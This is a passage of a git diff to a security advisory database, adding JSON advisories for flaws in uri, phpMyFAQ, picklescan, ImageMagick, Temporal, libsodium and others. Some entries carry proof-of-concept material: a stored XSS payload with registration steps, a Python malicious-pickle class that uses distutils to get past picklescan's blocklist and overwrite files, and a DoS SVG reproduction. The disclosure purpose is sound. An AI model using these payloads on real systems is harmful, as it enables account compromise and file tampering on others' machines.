"2025-12-30T21:07:14Z", + "aliases": [ + "CVE-2025-61594" + ], + "summary": "URI Credential Leakage Bypass over CVE-2025-27221", + "details": "### Impact\n\nIn affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.\n\nWhen using the `+` operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.\n\nThe vulnerability affects the `uri` gem bundled with the following Ruby series:\n\n* 0.12.4 and earlier (bundled in Ruby 3.2 series)\n* 0.13.2 and earlier (bundled in Ruby 3.3 series)\n* 1.0.3 and earlier (bundled in Ruby 3.4 series)\n\n### Patches\n\nUpgrade to 0.12.5, 0.13.3 or 1.0.4\n\n### References\n\n* https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/\n* https://hackerone.com/reports/2957667", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "uri" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.12.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "RubyGems", + "name": "uri" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.13.0" + }, + { + "fixed": "0.13.3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "RubyGems", + "name": "uri" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0" + }, + { + "fixed": "1.0.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/ruby/uri/commit/20157e3e29b125ff41f1d9662e2e3b1d066f5902" + }, + { + "type": "WEB", + "url": "https://github.com/ruby/uri/commit/7e521b2da0833d964aab43019e735aea674e1c2c" + }, + { + "type": "WEB", + "url": "https://github.com/ruby/uri/commit/d3116ca66a3b1c97dc7577f9d2d6e353f391cd6a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/ruby/uri" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/uri/CVE-2025-61594.yml" + }, + { + "type": "WEB", + "url": "https://www.ruby-lang.org/en/news/2025/10/07/uri-cve-2025-61594" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-212" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T21:07:14Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-jv8r-hv7q-p6vc/GHSA-jv8r-hv7q-p6vc.json b/advisories/github-reviewed/2025/12/GHSA-jv8r-hv7q-p6vc/GHSA-jv8r-hv7q-p6vc.json new file mode 100644 index 0000000000000..1330098b649e8 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-jv8r-hv7q-p6vc/GHSA-jv8r-hv7q-p6vc.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-jv8r-hv7q-p6vc", + "modified": "2025-12-31T22:13:13Z", + "published": "2025-12-29T22:12:35Z", + "aliases": [ + "CVE-2025-68951" + ], + "summary": "phpMyFAQ has Stored XSS in user list via admin-managed display_name", + "details": "### Summary\nA stored cross-site scripting (XSS) vulnerability allows an attacker to execute arbitrary JavaScript in an administrator’s browser by registering a user whose **display name** contains HTML entities (e.g., `<img ...>`). When an administrator views the admin user list, the payload is decoded server-side and rendered without escaping, resulting in script execution in the admin context.\n\n### Details\nRoot cause is the following chain:\n- **User-controlled input stored**: attacker-provided `display_name` (real name) is stored in DB (often as HTML entities, e.g., `<img ...>`).\n- **Decode on read**: `phpmyfaq/src/phpMyFAQ/User/UserData.php` decodes `display_name` using `html_entity_decode(...)` (“for backward compatibility”).\n- **Unsafe sink**: admin user list renders the decoded value unescaped using Twig `|raw`:\n - `phpmyfaq/assets/templates/admin/user/users.twig` (users table uses `{{ user.display_name|raw }}`)\n\nAs a result, an entity-encoded payload becomes active HTML/JS when rendered in the admin user list.\n\nNote: This report is about the `display_name` field + entity-decoding path. It is distinct from previously published issues focused on the `email` field.\n\n### PoC (minimal reproduction)\n**Preconditions / configuration**\n- Registration enabled (`security.enableRegistration = true`).\n- Attacker does not need admin privileges.\n- Admin must view the admin user list page.\n\n**Steps**\n1. As an unauthenticated user, open the registration page and create a new account.\n2. Set the **display name / real name** field to the following entity-encoded payload:\n - `<img src=x onerror=alert(1)>`\n3. Complete registration.\n4. As an administrator, open the admin user list (example):\n - `http://127.0.0.1:8080/admin/user/list`\n5. Observe JavaScript execution in the admin’s browser (e.g., `alert(1)` triggers) and the payload is rendered as an actual `` element.\n\n### Impact\nStored XSS in the admin context can enable:\n- admin session compromise (depending on cookie flags),\n- CSRF token exfiltration and privileged admin actions,\n- UI redress/phishing within the admin panel.\n\n### Evidence (what I observed)\n- Stored DB value (entities):\n `<img src=x onerror=alert(1)>`\n- Rendered HTML in admin user list:\n ``\n\n### Affected versions\n**Confirmed by code inspection**\n- 4.0.14\n- 4.0.15\n - Both contain `html_entity_decode` for `display_name` in `UserData.php` and `{{ user.display_name|raw }}` in `users.twig`.\n\n**Confirmed by live reproduction**\n- 4.1.0-RC (tested on current source checkout)\n\n### Environment (tested)\n- Host OS: macOS 15.6.1 (24G90)\n- Web container OS: Debian GNU/Linux 12 (bookworm)\n- PHP: 8.4.5RC1\n- DB: MariaDB 11.6.2\n- phpMyFAQ source commit (tested): bca1c4192c2ad61a3595b4289d9551a51e0e9848\n\n### Contact / Credit\n- Contact: jeongwoolee340@gmail.com", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "thorsten/phpmyfaq" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.14" + }, + { + "fixed": "4.0.16" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-jv8r-hv7q-p6vc" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68951" + }, + { + "type": "WEB", + "url": "https://github.com/thorsten/phpMyFAQ/commit/61829e83411f7b28bc6fd1052bfde54c32c6c370" + }, + { + "type": "WEB", + "url": "https://github.com/thorsten/phpMyFAQ/commit/8211d1d25951b4c272443cfc3ef9c09b1363fd87" + }, + { + "type": "PACKAGE", + "url": "https://github.com/thorsten/phpMyFAQ" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T22:12:35Z", + "nvd_published_at": "2025-12-29T16:15:43Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-m273-6v24-x4m4/GHSA-m273-6v24-x4m4.json b/advisories/github-reviewed/2025/12/GHSA-m273-6v24-x4m4/GHSA-m273-6v24-x4m4.json new file mode 100644 index 0000000000000..cd2752a96441f --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-m273-6v24-x4m4/GHSA-m273-6v24-x4m4.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-m273-6v24-x4m4", + "modified": "2025-12-29T15:22:30Z", + "published": "2025-12-29T15:22:30Z", + "aliases": [], + "summary": "Picklescan vulnerable to Arbitrary File Writing", + "details": "### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n def __reduce__(self):\n \n target_file = \"pwned_config.env\"\n content = [\"print('I have overwritten your config')\"]\n \n return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n\"image\"\n\nTo fix this just add disutil to the blacklist", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-552" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T15:22:30Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-mgr9-6c2j-jxrq/GHSA-mgr9-6c2j-jxrq.json b/advisories/github-reviewed/2025/12/GHSA-mgr9-6c2j-jxrq/GHSA-mgr9-6c2j-jxrq.json new file mode 100644 index 0000000000000..f0855437f8b25 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-mgr9-6c2j-jxrq/GHSA-mgr9-6c2j-jxrq.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-mgr9-6c2j-jxrq", + "modified": "2025-12-30T15:13:52Z", + "published": "2025-12-30T15:13:52Z", + "aliases": [], + "summary": "Pterodactyl has a Reflected XSS vulnerability in “Create New Database Host”", + "details": "> [!NOTE]\n> Message from the Pterodactyl team:\n>\n> The Pterodactyl team has evaluated this as a minor security issue but does not consider it something that should be assigned a CVE, nor does it require active patching by vulnerable systems.\n>\n> This issue is entirely self-inflicted and requires an administrative user paste an _obviously_ incorrect value into a database host field, submit it, and run into the XSS when the error message is rendered. However, we have determined that this fix is good security hygiene and may prevent issues in other areas not yet discovered.\n\n### Summary\nWhen an administrative user creates a new database host they are prompted to provide a `Host` value which is expected to be a domain or IP address. When an invalid value is encountered and passed back to `gethostaddr` and/or directly to the MySQL connection tooling, an error is returned. This error is then passed back along to the front-end, but was not properly sanitized when rendered.\n\nTherefore it is possible for an admin to _knowingly_ paste a malicious payload such as `` into the `Host` field and XSS themselves.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "pterodactyl/panel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.12.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pterodactyl/panel/security/advisories/GHSA-mgr9-6c2j-jxrq" + }, + { + "type": "WEB", + "url": "https://github.com/pterodactyl/panel/commit/1570ff250939b75b3ba8cd03e5025d8293544ed4" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pterodactyl/panel" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T15:13:52Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-mq8m-42gh-wq7r/GHSA-mq8m-42gh-wq7r.json b/advisories/github-reviewed/2025/12/GHSA-mq8m-42gh-wq7r/GHSA-mq8m-42gh-wq7r.json index b43f9774ee4f9..1e8aa65655f32 100644 --- a/advisories/github-reviewed/2025/12/GHSA-mq8m-42gh-wq7r/GHSA-mq8m-42gh-wq7r.json +++ b/advisories/github-reviewed/2025/12/GHSA-mq8m-42gh-wq7r/GHSA-mq8m-42gh-wq7r.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-mq8m-42gh-wq7r", - "modified": "2025-12-18T01:00:21Z", + "modified": "2026-01-20T20:48:49Z", "published": "2025-12-10T15:31:24Z", "aliases": [ "CVE-2025-8110" @@ -40,6 +40,18 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8110" }, + { + "type": "WEB", + "url": "https://github.com/gogs/gogs/pull/8078" + }, + { + "type": "WEB", + "url": "https://github.com/gogs/gogs/pull/8082" + }, + { + "type": "WEB", + "url": "https://github.com/gogs/gogs/commit/553707f3fd5f68f47f531cfcff56aa3ec294c6f6" + }, { "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-mq8m-42gh-wq7r" @@ -48,6 +60,10 @@ "type": "PACKAGE", "url": "https://github.com/gogs/gogs" }, + { + "type": "WEB", + "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-8110" + }, { "type": "WEB", "url": "http://wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit" @@ -59,6 +75,18 @@ { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2025/12/11/4" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/01/17/4" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/01/18/1" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/01/18/2" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/12/GHSA-mrfv-m5wm-5w6w/GHSA-mrfv-m5wm-5w6w.json b/advisories/github-reviewed/2025/12/GHSA-mrfv-m5wm-5w6w/GHSA-mrfv-m5wm-5w6w.json new file mode 100644 index 0000000000000..0cbf02c3a171c --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-mrfv-m5wm-5w6w/GHSA-mrfv-m5wm-5w6w.json @@ -0,0 +1,162 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-mrfv-m5wm-5w6w", + "modified": "2026-01-07T18:30:24Z", + "published": "2025-12-31T06:30:18Z", + "aliases": [ + "CVE-2025-69277" + ], + "summary": "libsodium has Incomplete List of Disallowed Inputs", + "details": "libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.\n\nThis advisoory lists packages in the GitHub Advisory Database's [supported ecosystems](https://github.com/github/advisory-database?tab=readme-ov-file#supported-ecosystems) that are affected by this vulnerability due to a vulnerable dependency.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "paragonie/sodium_compat" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2" + }, + { + "fixed": "2.5.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "paragonie/sodium_compat" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.24.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "PyPI", + "name": "PyNaCl" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.6.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "PyPI", + "name": "hdwallet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.6.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69277" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/pynacl/issues/920" + }, + { + "type": "WEB", + "url": "https://github.com/hdwallet-io/python-hdwallet/pull/124" + }, + { + "type": "WEB", + "url": "https://github.com/jedisct1/libsodium/commit/ad3004ec8731730e93fcfbbc824e67eadc1c1bae" + }, + { + "type": "WEB", + "url": "https://github.com/paragonie/sodium_compat/commit/2cb48f26130919f92f30650bdcc30e6f4ebe45ac" + }, + { + "type": "WEB", + "url": "https://github.com/paragonie/sodium_compat/commit/4714da6efdc782c06690bc72ce34fae7941c2d9f" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/pynacl/commit/96314884d88d1089ff5f336dba61d7abbcddbbf7" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/pynacl/commit/ecf41f55a3d8f1e10ce89c61c4b4d67f3f4467cf" + }, + { + "type": "WEB", + "url": "https://00f.net/2025/12/30/libsodium-vulnerability" + }, + { + "type": "WEB", + "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/paragonie/sodium_compat/2025-12-30.yaml" + }, + { + "type": "PACKAGE", + "url": "https://github.com/paragonie/sodium_compat" + }, + { + "type": "WEB", + "url": "https://ianix.com/pub/ed25519-deployment.html" + }, + { + "type": "WEB", + "url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00004.html" + }, + { + "type": "WEB", + "url": "https://news.ycombinator.com/item?id=46435614" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-184" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-06T17:12:24Z", + "nvd_published_at": "2025-12-31T06:15:41Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-p27m-hp98-6637/GHSA-p27m-hp98-6637.json b/advisories/github-reviewed/2025/12/GHSA-p27m-hp98-6637/GHSA-p27m-hp98-6637.json new file mode 100644 index 0000000000000..06a5fcfc5b8a5 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-p27m-hp98-6637/GHSA-p27m-hp98-6637.json @@ -0,0 +1,369 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-p27m-hp98-6637", + "modified": "2025-12-30T22:54:33Z", + "published": "2025-12-30T22:54:32Z", + "aliases": [ + "CVE-2025-68618" + ], + "summary": "ImageMagick's failure to limit the depth of SVG file reads caused a DoS attack", + "details": "### Summary\n\nUsing Magick to read a malicious SVG file resulted in a DoS attack.\n\n### Details\n\nbt obtained using gdb:\n\n```\n#4 0x0000555555794c9c in ResizeMagickMemory (memory=0x7fffee203800, size=391344) at MagickCore/memory.c:1443\n#5 0x0000555555794e5a in ResizeQuantumMemory (memory=0x7fffee203800, count=48918, quantum=8) \nat MagickCore/memory.c:1508\n#6 0x0000555555acc8ed in SVGStartElement (context=0x517000000080, name=0x5190000055e3 \"g\", attributes=0x0) \nat coders/svg.c:1254\n#7 0x00007ffff6799b1c in xmlParseStartTag () at /lib/x86_64-linux-gnu/libxml2.so.2\n#8 0x00007ffff68c7bb8 in () at /lib/x86_64-linux-gnu/libxml2.so.2\n#9 0x00007ffff67a03f1 in xmlParseChunk () at /lib/x86_64-linux-gnu/libxml2.so.2\n```\n\nThis is related to the SVGStartElement and ResizeQuantumMemory functions.\n\n### PoC\n\n1. Generate an SVG file\n\n2. Read this file using Magick:\n\n```\n./magick /data/ylwang/Tools/LargeScan/targets/ImageMagick/test++/1.svg null\n```\n\n3. Causes a DoS Attack\n\nMy server has a large amount of memory, causing a stack overflow to take a long time. I'll use the Windows release version as an example:\n\n``` \nPS C:\\Program Files\\ImageMagick-7.1.2-Q8> .\\magick.exe -ping 1.svg null:\nPS C:\\Program Files\\ImageMagick-7.1.2-Q8> echo $LASTEXITCODE\n-1073741571\n```\n\nThe error code -1073741571 indicates a crash due to a stack overflow.\n\n### Impact\n\nThis is a DoS vulnerability and all applications using Magick to parse SVG files are affected.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p27m-hp98-6637" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68618" + }, + { + "type": "WEB", + "url": "https://github.com/ImageMagick/ImageMagick/commit/6f431d445f3ddd609c004a1dde617b0a73e60beb" + }, + { + "type": "PACKAGE", + "url": "https://github.com/ImageMagick/ImageMagick" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-674" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T22:54:32Z", + "nvd_published_at": "2025-12-30T17:15:43Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-p2gr-hm8g-q772/GHSA-p2gr-hm8g-q772.json b/advisories/github-reviewed/2025/12/GHSA-p2gr-hm8g-q772/GHSA-p2gr-hm8g-q772.json new file mode 100644 index 0000000000000..7fb26f6156a3e --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-p2gr-hm8g-q772/GHSA-p2gr-hm8g-q772.json @@ -0,0 +1,111 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-p2gr-hm8g-q772", + "modified": "2025-12-31T22:08:24Z", + "published": "2025-12-30T21:30:33Z", + "aliases": [ + "CVE-2025-14986" + ], + "summary": "Temporal has a namespace policy bypass allowing requests to be authorized for incorrect contexts", + "details": "When frontend.enableExecuteMultiOperation is enabled, the server can apply namespace-scoped validation and feature gates for the embedded StartWorkflowExecutionRequest using its Namespace field rather than the outer, authorized ExecuteMultiOperationRequest.Namespace. This allows a caller authorized for one namespace to bypass that namespace's limits/policies by setting the embedded start request's namespace to a different namespace. The workflow is still created in the outer (authorized) namespace; only validation/gating is performed under the wrong namespace context.\nThis issue affects Temporal: from 1.24.0 through 1.29.1. Fixed in 1.27.4, 1.28.2, 1.29.2.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "go.temporal.io/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.24.0" + }, + { + "fixed": "1.27.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "go.temporal.io/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.28.0" + }, + { + "fixed": "1.28.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "go.temporal.io/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.29.0" + }, + { + "fixed": "1.29.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14986" + }, + { + "type": "WEB", + "url": "https://github.com/temporalio/temporal/pull/8839" + }, + { + "type": "PACKAGE", + "url": "https://github.com/temporalio/temporal" + }, + { + "type": "WEB", + "url": "https://github.com/temporalio/temporal/releases/tag/v1.27.4" + }, + { + "type": "WEB", + "url": "https://github.com/temporalio/temporal/releases/tag/v1.28.2" + }, + { + "type": "WEB", + "url": "https://github.com/temporalio/temporal/releases/tag/v1.29.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2025-12-31T22:08:24Z", + "nvd_published_at": "2025-12-30T21:15:42Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-pcqx-8qww-7f4v/GHSA-pcqx-8qww-7f4v.json b/advisories/github-reviewed/2025/12/GHSA-pcqx-8qww-7f4v/GHSA-pcqx-8qww-7f4v.json index 6c26012b0948d..6b3ab9f371f5f 100644 --- a/advisories/github-reviewed/2025/12/GHSA-pcqx-8qww-7f4v/GHSA-pcqx-8qww-7f4v.json +++ b/advisories/github-reviewed/2025/12/GHSA-pcqx-8qww-7f4v/GHSA-pcqx-8qww-7f4v.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-pcqx-8qww-7f4v", - "modified": "2025-12-26T16:30:12Z", + "modified": "2026-01-22T18:30:29Z", "published": "2025-12-15T18:30:39Z", "aliases": [ "CVE-2025-13888" @@ -60,6 +60,10 @@ "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:23207" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:1017" + }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2025-13888" diff --git a/advisories/github-reviewed/2025/12/GHSA-pfrf-9r5f-73f5/GHSA-pfrf-9r5f-73f5.json b/advisories/github-reviewed/2025/12/GHSA-pfrf-9r5f-73f5/GHSA-pfrf-9r5f-73f5.json index 5bbfaadd6a48e..066a0bd12ba90 100644 --- a/advisories/github-reviewed/2025/12/GHSA-pfrf-9r5f-73f5/GHSA-pfrf-9r5f-73f5.json +++ b/advisories/github-reviewed/2025/12/GHSA-pfrf-9r5f-73f5/GHSA-pfrf-9r5f-73f5.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-pfrf-9r5f-73f5", - "modified": "2025-12-08T22:19:38Z", + 